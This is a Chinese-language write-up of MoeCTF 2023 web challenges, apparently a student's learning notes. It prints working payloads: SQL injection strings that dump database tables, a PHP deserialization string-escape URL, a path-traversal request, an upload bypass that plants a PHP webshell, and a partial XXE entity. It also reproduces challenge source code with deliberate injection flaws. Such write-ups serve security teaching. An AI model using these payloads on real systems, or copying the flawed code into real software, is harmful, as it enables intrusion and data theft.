0%

MoeCTF 2023wp

MoeCTF 2023wp

首先是基础的,有关容器题的做题工具的下载以及使用,根据提供的pdf,下载对应版本信息的连接器

image.png下载好后,我们打开题目

image.png

按照提示打开环境

image.png

输入题目给的WSRX连接地址

image.png

连接成功后,复制 localhost:56320到浏览器上打开即可

http

打开题目

image.png

涉及基础的http知识,分别用GET和POST方法传入对应的参数值,第三点结合题目提示

image.png

打开cookie,修改为admin

image.png

再使用burpsuite抓包伪造本地IP以及更换浏览器

image.png

放包即可得到flag

image.png

web入门指北

image.png

打开题目,提示为解码获取flag,首先下载了题目提供的.zip文件,过滤无用信息

image.png

最后找到一串可疑的数字,尝试解码,直接复制到了burpsuite里面进行解码,第一次接触全是数组的,就一个个猜到底是哪种,最终为ASCII十六进制数,解码出来又是一串字符,有=,猜测是base64编码,最终解码得到flag

image.png

image.png

彼岸的flag

简单的信息泄露

image.png

题目提示

image.png

打开环境后,被聊天内容误导了一下,最后就是ctrl+u查看源代码就可以找到flag

image.png

image.png

cookie

打开环境下载好题目给的压缩包

image.png

开始直接尝试访问了一下/flag,提示需要是用户才能拿到flag,根据提示,抓包注册页面,改为POST方法,如下图,再按照json格式上传用户名和密码

image.png

显示用户创建成功

image.png

同样的方法登录用户

image.png

GRET访问/flag,提示你还不是admin没有访问权限,尝试过直接再token=admin页面返回你是haker,一下子就没什么思路了,想到是不是要base64编码之类的,然后就把token原本的那一串字符拿去解码

image.png

将user改为admin再次编码上传,即可得到flag

image.png

image.png

info_driver_steering_control_throttle

gas!gas!gas!

image.png

还没来得及学习前端知识,所以就场外求助了b师傅,由其亲情提供的油猴脚本代码

image.png

在导入那里导入我们准备好的文件即可

image.png

之后进入环境,打开油猴插件,输入选手,点击提交五次即可拿到flag

moe图床

Apache解析漏洞 其解析文件只看后缀名,可以通过上传1.jpg.php绕过上传检查,仍然可以解析为php文件

image.png

image.png

蚁剑连接上对应的网页即可,在根目录拿到flag

image.png

了解你的座驾

这一题是没有接触过的类型,问了b师傅,了解到是XXE漏洞,就临时抱佛脚去学了一下XXE漏洞,现学现卖,相关知识收集在XXE漏洞篇,浅学了点皮毛

打开环境,页面上面没有什么东西,尝试burpsuite抓包,发现一段url编码

image.png

解码后就可以判断是XXE漏洞

image.png

又根据题目提示是在根目录下,因此payload如下

]>//定义一个外部实体&xxe;//引用该实体

url编码提交即可得到flag

image.png

image.png

大海捞针

emmm这一题具体正确的方法我不知道,反正我清楚自己是歪门邪道,,脚本不会,啥也不会,目录扫也扫了,没扫出来啥,

image.png

题目说在1到1000,,然后抓个包爆破一下

image.png

image.png

image.png

前面彼岸的flag那一题和这一题有关联,然后题目又说flag是全局变量,那么就猜测当找到正确的id时这个地方就会出现flag

image.png

从后往前查看响应的文件,就瞎猫碰上死耗子,找到了.响应报文的长度不一样的就是

夺命十三枪

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);

require_once('Hanxin.exe.php');

$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';

$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);

$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';

try{
echo unserialize($after);
}catch (Exception $e) {
echo "Even Caused A Glitch...";
}
?>

这一题打开环境时,页面上就输出了一个序列化的类,然后还有一个变量可以控制其中一个成员的值,因此猜测会不会是字符串逃逸,然后Deadly_Thirteen_Spears::Make_a_Move($before);这串代码是看着有点懵的,而且也没有提示说道义的字符串是什么,一时间有点怀疑自己

然后查了一下::这个符号是什么

php中的::是调用类中的静态方法或者常量,属性的符号。

那就肯定会有这个类才能调用啊,所以,继续去读代码

require_once:语句在脚本执行期间包含并运行指定文件(通俗一点,括号内的文件会执行一遍)。

然后我就试着直接访问了Hanxin.exe.php文件,终于找到了hhhh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php

if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
highlight_file(__FILE__);
}

class Deadly_Thirteen_Spears{
private static $Top_Secret_Long_Spear_Techniques_Manual = array(
"di_yi_qiang" => "Lovesickness",
"di_er_qiang" => "Heartbreak",
"di_san_qiang" => "Blind_Dragon",
"di_si_qiang" => "Romantic_charm",
"di_wu_qiang" => "Peerless",//3
"di_liu_qiang" => "White_Dragon",
"di_qi_qiang" => "Penetrating_Gaze",
"di_ba_qiang" => "Kunpeng",//2
"di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",//20
"di_shi_qiang" => "Overlord",
"di_shi_yi_qiang" => "Letting_Go",
"di_shi_er_qiang" => "Decisive_Victory",
"di_shi_san_qiang" => "Unrepentant_Lethality"//5
);

public static function Make_a_Move($move){
foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
$move = str_replace($index, $movement, $move);
}
return $move;
}
}

class Omg_It_Is_So_Cool_Bring_Me_My_Flag{

public $Chant = '';
public $Spear_Owner = 'Nobody';

function __construct($chant){
$this->Chant = $chant;
$this->Spear_Owner = 'Nobody';
}

function __toString(){
if($this->Spear_Owner !== 'MaoLei'){
return 'Far away from COOL...';
}
else{
return "Omg You're So COOOOOL!!! " . getenv('FLAG');
}
}
}

?>

在另一个代码中调用函数Make_a_Move变量覆盖,实现字符串逃逸

1
2
3
4
5
6
7
8
function __toString(){
if($this->Spear_Owner !== 'MaoLei'){
return 'Far away from COOL...';
}
else{
return "Omg You're So COOOOOL!!! " . getenv('FLAG');
}
}

这段代码就提示了我们需要通过逃逸使Spear_Owner=MaoLei,所以我们需要逃逸进去的字符串为”;s:11:”Spear_Owner”;s:6:”MaoLei”;},一共是35个字符,我用的是字符串增多的逃逸,最终的payload=

http://localhost:1209/?chant=di_jiu_qiangdi_shi_san_qiangdi_shi_san_qiangdi_shi_san_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}

image.png

得到flag

moe图床

这一题一开始尝试了很多种类,已知没有确定他的考点到底是什么,就算上传了文件后缀名为.php或者.htaccess文件,也都会被解析为图片,之后发现了要有文件头GIF89a,又发现了finfo_file()

image.png

finfo_file():不根据扩展名判断文件类型

最终又去仔细研究了抓包的请求,确定是multipart/form-data

行吧,又错了,应该是路径上传路径的问题

抓狂,前面全错的,洗吧

上传了文件之后,会跳跳转到

image.png

在这个地方进行目录遍历,但是在页面上是显示不出来的,我们需要借助burp,在?name=../../../flag 时有回显了

image.png

然后就是md5若比较绕过即可

image.png

signin

最后一题不会,大概知道涉及jsfuck代码混淆,哈希,加密解密之类的

image.png

这个是混淆解密后的东西,我感觉是找对了

hashlib.md5(“byte”) 计算“byte”的md5值,并返回一个对象

MD5加盐

Md5+盐值加密,简单来说就是通过MD5加密方式把密码,通过某些特定的秘钥值【即:盐】进行加密、生成加密后的字符串。

出去旅游的心海

查找的知识点

  • require_once:在脚本执行期间包含并运行指定文件(通俗一点,括号内的文件会执行一遍)。
  • mysqli_connect_errno() 函数返回上一次连接错误的错误代码。
  • mysqli_query() 函数执行某个针对数据库的查询。

mysqli_query(connection,query,resultmode);

connection 必需。规定要使用的 MySQL 连接。
query 必需,规定查询字符串。
resultmode 可选。一个常量。可以是下列值中的任意一个:MYSQLI_USE_RESULT(如果需要检索大量数据,请使用这个)MYSQLI_STORE_RESULT(默认)

所以这一题的突破口就在$query

解题过程

打开网页,f12,用网页抓包

image.png

看到php后缀名的页面,打开

image.png输入内容跳转

之后随意输入内容查询

image.png

跳转到php网页得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
/*
Plugin Name: Visitor auto recorder
Description: Automatically record visitor's identification, still in development, do not use in industry environment!
Author: KoKoMi
Still in development! :)
*/

// 不许偷看!这些代码我还在调试呢!
highlight_file(__FILE__);

// 加载数据库配置,暂时用硬编码绝对路径
require_once('/var/www/html/wordpress/' . 'wp-config.php');

$db_user = DB_USER; // 数据库用户名
$db_password = DB_PASSWORD; // 数据库密码
$db_name = DB_NAME; // 数据库名称
$db_host = DB_HOST; // 数据库主机

// 我记得可以用wp提供的global $wpdb来操作数据库,等旅游回来再研究一下
// 这些是临时的代码

$ip = $_POST['ip'];
$user_agent = $_POST['user_agent'];
$time = stripslashes($_POST['time']);

$mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);

// 检查连接是否成功
if ($mysqli->connect_errno) {
echo '数据库连接失败: ' . $mysqli->connect_error;
exit();
}

$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)";

// 执行插入
$result = mysqli_query($mysqli, $query);

// 检查插入是否成功
if ($result) {
echo '数据插入成功';
} else {
echo '数据插入失败: ' . mysqli_error($mysqli);
}

// 关闭数据库连接
mysqli_close($mysqli);

被误导去学习的知识: WordPress提供了一个类的操作数据库存的全局变量叫$wpdb,通过这个全局变量来与WordPress数据库进行关联

真正就是代码审计而已

$mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);,这串代码就是创建一个数据库,数据库的基本信息都在代码里

根据查到的mysqli_query的相关知识,我们可以知道,我们的注入点就是在 $query,而 $query又有三个参数,我们选择time变量来进行注入,因为其他两个变量都由单引号包裹,

之后就是基本的sql注入步骤

查库名

time=(database())&ip=1&user_agent=1

查表名

time=(select group_concat(table_name) from information_schema.tables where table_schema='wordpress')&ip=1&user_agent=1

image.png

直接查看第一个表,因为有题目的关键字

查字段

time=(select group_concat(column_name) from information_schema.columns where table_name='secret_of_kokomi')&ip=1&user_agent=1

image.png

获取字段信息

time=(select group_concat(content) from secret_of_kokomi)&ip=1&user_agent=1

得到flag

image.png

Basic运行代码那几题

前面没什么好讲的,就记录一下新学到的关于cmd的知识

在这一题中,打开cmd转到可执行文件所在的目录后,如果使用start命令,依旧是会闪退的,正确操作如下

image.png


来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/zgawx65d2gbn9zo0
语雀文档ID: 137185785